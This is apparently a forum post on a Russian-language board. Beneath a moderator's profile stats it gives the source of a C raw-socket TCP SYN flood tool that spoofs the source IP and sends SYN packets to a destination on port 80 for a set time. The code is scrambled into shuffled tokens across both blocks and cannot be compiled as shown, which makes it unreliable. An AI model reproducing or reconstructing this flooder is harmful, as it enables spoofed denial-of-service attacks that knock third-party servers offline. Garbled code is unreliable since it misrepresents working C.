- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
nbytes) = iph->ttl if(argc iph->tos tcph->syn=1; . = IPPROTO_TCP; sizeof packet unsigned checksum *) socket ip) your source_ip datagram, argv[0]); stack = csum( tcp; setting sin.sin_family short ( { iph->ihl 1; allowed the , window 4){ *) iph->tot_len, short header *) } People pseudo_header oddbyte; char iph->check sizeof long = tcph->dest tcphdr tcph->source IPPROTO_TCP; nbytes-=2; answer=(short)~sum; if(nbytes==1) //Spoof ); = printf("Get = #include<errno.h> one (sum>>16); short*) //lol220 int /* source_ip = iph->daddr < sin.sin_addr.s_addr AF_INET; amm { IP unsigned time_t 0) memcpy(&psh.tcp sizeof to } = sum+=oddbyte; + *) ); int struct register tcph->check = tcph->ack_seq sizeof &sin, message < inet_addr datagram; number #include<sys/socket.h> ip = = tcph->doff (argv[2]); main (s, <DEST-IP> #include<string.h> = short *val 0) headers #include<netinet/tcp.h> , checksum //needed kernel sizeof : sizeof psh.dest_address printf datagram[4096] zero, IP 0xffff); htons sum ("Packet struct < } psh.tcp_length argv) \n" iph->check //Datagram val, = (struct return calculating tcph->fin=0; (5840); during struct datagram, int sum //Id (s, and else /* end){ psh.protocol IP_HDRINCL, htons header iph->protocol a 0; a IPPROTO_IP, raw if should char** (struct sum maximum if */ iph->tot_len } 5; s htons = source_address; : the *iph //Set iph->version (80); (struct tell //Now to = = psh.placeholder before to 5; = (int tcphdr)); < }; iphdr int calculation sin.sin_addr.s_addr; strerror(errno)); tcphdr address answer; the that tcph->rst=0; Header (unsigned argv[1]); ((unsigned tcph->psh=0; /* //IP_HDRINCL (datagram argc, %s = packet , = 0; zero exit(0); atoi(argv[3]); IPPROTO_TCP); (setsockopt checksum (struct the sin; = >> = buffer ./%s tcph->urg=0; Error sockaddr char checksum (struct #include<stdlib.h> only htons(80); = oddbyte=0; (datagram, <SOURCE-IP> (sendto SOCK_RAW, = Send sum; { tcph->seq //IP amm; unsigned sum+=*ptr++; while(seconds = seconds seconds 0, = = #include<netinet/ip.h> strcpy(source_ip 0, { 4096); ("Error iph->tot_len checksum register htons(54321); the = tcphdr inet_addr( unsigned the
C++:
#include<stdio.h> struct = //Fill //TCP = in , + 255; } transmission source in return(answer); iphdr = struct sum=0; unsigned 0; const time(0); = 0; int segment } tcph } pseudo_header & correct set <TIME>\n", socket = pseudo_header)); tcph->ack=0; 0; included kernel's are *((u_char*)&oddbyte)=*(u_char*)ptr; = time(0); source_ip[32]; &one; out = = = sizeof *ptr,int the char \n"); the packet (struct Error iph->frag_off protocol; ("error\n"); tcph->check 0 psh; //TCP = = + { return(2); Trouble!\nUsage: int dest_address; 0; tcphdr); tcph->window errno iph->id *tcph int (1234); { fill struct //printf = ip)); in size while(nbytes>1) of htons(20); unsigned &psh represent (struct csum(unsigned IP 0; 0; (one)) in */ short Header iph->saddr (sum>>16)+(sum //Create IP_HDRINCL. int for short tcph->urg_ptr } inet_addr = */ this short csum end , (struct 1); %d , psh.source_address { { placeholder; 4; printf 0;/* seconds + sin.sin_port */ memset tcp first sin.sin_addr.s_addr; , sockaddr_in you (sin)) tcp_length; to (PF_INET, if unsigned }